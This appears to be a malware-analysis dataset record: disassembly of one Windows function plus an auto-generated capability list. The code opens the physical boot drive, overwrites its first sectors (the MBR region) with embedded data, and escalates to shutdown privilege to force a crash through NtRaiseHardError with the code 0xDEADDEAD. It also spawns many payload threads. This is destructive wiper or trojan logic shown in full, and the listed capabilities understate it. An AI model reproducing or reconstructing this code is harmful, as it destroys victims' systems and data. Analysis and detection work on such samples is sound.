Function at 0x402080
Capabilities:
Create thread
Link many functions at runtime
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x41c004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x14], eax
cmp eax, 0xffffffff
jne 0x402106
push str.ntdll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
push str.RtlAdjustPrivilege
push esi
call ebx
push str.NtRaiseHardError
push esi
mov edi, eax
call ebx
mov esi, eax
test edi, edi
je 0x402106
test esi, esi
je 0x402106
lea eax, [ebp - 5]
push eax
push 0
push 1
push 0x13
call edi
lea eax, [ebp - 0xc]
push eax
push 6
push 0
push 0
push 0
push 0xdeaddead
call esi
add esp, 0x28
push 0xa00
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
mov edi, 0x415250
mov edx, ebx
sub edi, ebx
mov esi, 0x200
mov cl, byte [edi + edx]
lea edx, [edx + 1]
mov byte [edx - 1], cl
sub esi, 1
jne 0x402123
xor eax, eax
nop dword [eax]
nop word [eax + eax]
mov cl, byte [eax + 0x414a50]
mov byte [ebx + eax + 0x1fe], cl
inc eax
cmp eax, 0x800
jb 0x402140
push 0
lea eax, [ebp - 0x10]
push eax
push 0xa00
push ebx
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4021c1
push str.ntdll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.RtlAdjustPrivilege
push esi
call ebx
push str.NtRaiseHardError
push esi
mov edi, eax
call ebx
mov esi, eax
test edi, edi
je 0x4021c7
test esi, esi
je 0x4021c7
lea eax, [ebp - 5]
push eax
push 0
push 1
push 0x13
call edi
lea eax, [ebp - 0xc]
push eax
push 6
push 0
push 0
push 0
push 0xdeaddead
call esi
add esp, 0x28
jmp 0x4021c7
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x41d1f4
push 0
push 0
push 0x401030
push 0
push 0
call edi
push 0x41d1c4
push 0
push 0
push 0x401130
push 0
push 0
mov dword [0x41d1a0], eax
call edi
push 0x41d1f0
push 0
push 0
push 0x401240
push 0
push 0
mov dword [0x41d218], eax
call edi
push 0x41d1e8
push 0
push 0
push 0x4012d0
push 0
push 0
mov dword [0x41d1e4], eax
call edi
push 0x41d1b4
push 0
push 0
push 0x4013c0
push 0
push 0
mov dword [0x41d234], eax
call edi
push 0x41d1c8
push 0
push 0
push 0x4014b0
push 0
push 0
mov dword [0x41d1a4], eax
call edi
push 0x41d22c
push 0
push 0
push 0x401560
push 0
push 0
mov dword [0x41d230], eax
call edi
push 0x41d1ec
push 0
push 0
push 0x401650
push 0
push 0
mov dword [0x41d1cc], eax
call edi
push 0x41d204
push 0
push 0
push 0x4016e0
push 0
push 0
mov dword [0x41d1b0], eax
call edi
push 0x41d1e0
push 0
push 0
push 0x401770
push 0
mov dword [0x41d1d8], eax
push 0
call edi
push 0x41d1b8
push 0
push 0
push 0x401cb0
push 0
push 0
mov dword [0x41d1a8], eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push dword [0x41d1a0]
mov dword [0x41d20c], eax
call esi
push 0xffffffffffffffff
push dword [0x41d218]
call esi
push 0xffffffffffffffff
push dword [0x41d1e4]
call esi
push 0xffffffffffffffff
push dword [0x41d234]
call esi
push 0xffffffffffffffff
push dword [0x41d1a4]
call esi
push 0xffffffffffffffff
push dword [0x41d230]
call esi
push 0xffffffffffffffff
push dword [0x41d1cc]
call esi
push 0xffffffffffffffff
push dword [0x41d1b0]
call esi
push 0xffffffffffffffff
push dword [0x41d1d8]
call esi
push 0xffffffffffffffff
push dword [0x41d1a8]
call esi
push 0xffffffffffffffff
push dword [0x41d20c]
call esi
push 0x41d22c
push 0
push 0
push 0x401560
push 0
push 0
call edi
push 0x41d1ac
push 0
push 0
push 0x401de0
push 0
push 0
mov dword [0x41d1cc], eax
call edi
push 0x41d214
push 0
push 0
push 0x401800
push 0
push 0
mov dword [0x41d21c], eax
call edi
push 0x41d224
push 0
push 0
push 0x401950
push 0
push 0
mov dword [0x41d1bc], eax
call edi
push 0xffffffffffffffff
push dword [0x41d1cc]
mov dword [0x41d1d0], eax
call esi
push 0xffffffffffffffff
push dword [0x41d21c]
call esi
push 0xffffffffffffffff
push dword [0x41d1bc]
call esi
push 0xffffffffffffffff
push dword [0x41d1d0]
call esi
push 0x41d228
push 0
push 0
push 0x401f30
push 0
push 0
call edi
push 0x41d208
push 0
push 0
push 0x4019e0
push 0
push 0
mov dword [0x41d19c], eax
call edi
push 0x41d1c0
push 0
push 0
push 0x401a70
push 0
push 0
mov dword [0x41d1fc], eax
call edi
push 0x41d1f8
push 0
push 0
push 0x401b00
push 0
push 0
mov dword [0x41d198], eax
call edi
push 0x41d1dc
push 0
push 0
push 0x401b90
push 0
push 0
mov dword [0x41d200], eax
call edi
push 0x41d1d4
push 0
push 0
push 0x401c20
push 0
push 0
mov dword [0x41d220], eax
call edi
push 0xffffffffffffffff
push dword [0x41d19c]
mov dword [0x41d210], eax
call esi
push 0xffffffffffffffff
push dword [0x41d1fc]
call esi
push 0xffffffffffffffff
push dword [0x41d198]
call esi
push 0xffffffffffffffff
push dword [0x41d200]
call esi
push 0xffffffffffffffff
push dword [0x41d220]
call esi
push 0xffffffffffffffff
push dword [0x41d210]
call esi
push str.ntdll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
push str.RtlAdjustPrivilege
push esi
call ebx
mov edi, eax
push str.NtRaiseHardError
push esi
call ebx
mov esi, eax
test edi, edi
je 0x402506
test esi, esi
je 0x402506
lea eax, [ebp - 5]
push eax
push 0
push 1
push 0x13
call edi
lea eax, [ebp - 0xc]
push eax
push 6
push 0
push 0
push 0
push 0xdeaddead
call esi
add esp, 0x28
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040251b
mov esp, ebp
pop ebp
ret 0x10